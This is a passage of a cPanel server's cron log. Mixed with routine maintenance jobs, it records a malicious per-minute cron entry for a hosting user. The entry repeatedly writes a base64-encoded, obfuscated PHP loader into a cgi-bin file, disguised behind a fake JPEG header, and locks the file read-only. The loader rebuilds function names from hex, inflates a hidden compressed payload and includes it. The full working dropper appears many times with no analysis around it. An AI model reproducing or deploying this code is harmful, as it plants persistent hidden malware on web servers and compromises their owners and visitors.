1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:12:01 server CROND[6402]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 10:12:01 server CROND[6403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:13:01 server CROND[6479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:14:01 server CROND[6549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:15:01 server CROND[6613]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  8 10:15:01 server CROND[6615]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 10:15:01 server CROND[6616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:15:01 server CROND[6614]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 10:16:01 server CROND[6831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:17:01 server CROND[6903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:18:01 server CROND[7006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:19:01 server CROND[7076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:20:01 server CROND[7151]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 10:20:01 server CROND[7153]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 10:20:01 server CROND[7154]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 10:20:01 server CROND[7152]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 10:20:01 server CROND[7156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:21:01 server CROND[7391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:22:01 server CROND[7460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:23:01 server CROND[7522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:24:01 server CROND[7606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:25:01 server CROND[7689]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 10:25:01 server CROND[7688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 